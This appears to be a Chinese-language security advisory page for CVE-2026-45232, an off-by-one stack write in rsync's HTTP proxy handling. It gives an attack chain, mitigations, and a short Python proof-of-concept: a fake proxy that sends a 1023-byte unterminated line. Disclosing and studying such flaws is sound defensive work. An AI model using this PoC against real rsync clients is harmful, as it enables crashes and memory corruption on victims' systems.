IPBUF安全漏洞报告
English
CVE-2026-45232 CVSS 3.1 低危

CVE-2026-45232 Rsync HTTP代理越界栈写入漏洞

披露日期: 2026-05-20

漏洞信息

漏洞编号
CVE-2026-45232
漏洞类型
栈溢出
CVSS评分
3.1 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Rsync

相关标签

栈溢出内存损坏RsyncCVE-2026-45232越界写入

漏洞概述

Rsync 3.4.3之前版本在socket.c的establish_proxy_connection()函数中存在差一错误越界栈写入漏洞。当设置RSYNC_PROXY环境变量时,攻击者可通过发送恶意HTTP代理响应破坏栈内存。

技术细节

漏洞位于Rsync处理HTTP代理响应的逻辑中。当Rsync通过HTTP代理连接时,establish_proxy_connection函数负责读取代理响应。该函数在处理响应行时存在边界检查错误,如果攻击者控制代理或处于中间人位置,发送长度大于等于1023字节且不包含换行符的响应行,将导致空字节写入栈缓冲区之外的地址,造成栈内存越界写入。

攻击链分析

STEP 1
侦察
攻击者识别正在使用HTTP代理且版本低于3.4.3的Rsync客户端。
STEP 2
中间人攻击或代理劫持
攻击者将自己定位在Rsync客户端与代理服务器之间,或者直接控制代理服务器。
STEP 3
发送恶意响应
攻击者向Rsync客户端发送一个长度为1023字节或更多且不包含换行符的HTTP响应行。
STEP 4
触发漏洞
Rsync客户端在处理该响应时,在establish_proxy_connection函数中触发差一错误,导致空字节写入越界栈地址。
STEP 5
影响实现
导致栈内存损坏,可能引起程序崩溃(拒绝服务)或潜在的代码执行风险。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket # Simulated malicious HTTP proxy response # This script sends a response line of 1023 bytes without a newline terminator def send_malicious_response(client_sock): payload = b'A' * 1023 # 1023 bytes, no newline try: client_sock.sendall(payload) print("[+] Malicious payload sent") except Exception as e: print(f"[-] Error sending payload: {e}") finally: client_sock.close() # Setup a listener to simulate a proxy server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(('0.0.0.0', 8080)) server.listen(1) print("[*] Listening on port 8080...") while True: client, addr = server.accept() print(f"[*] Connection from {addr}") # Wait for client request (simplified) client.recv(1024) send_malicious_response(client) break server.close()

影响范围

Rsync < 3.4.3

防御指南

临时缓解措施
在未升级补丁前,请勿将RSYNC_PROXY环境变量指向不可信的HTTP代理。尽量使用直接SSH连接或受信的VPN通道进行文件同步,以减少遭受中间人攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表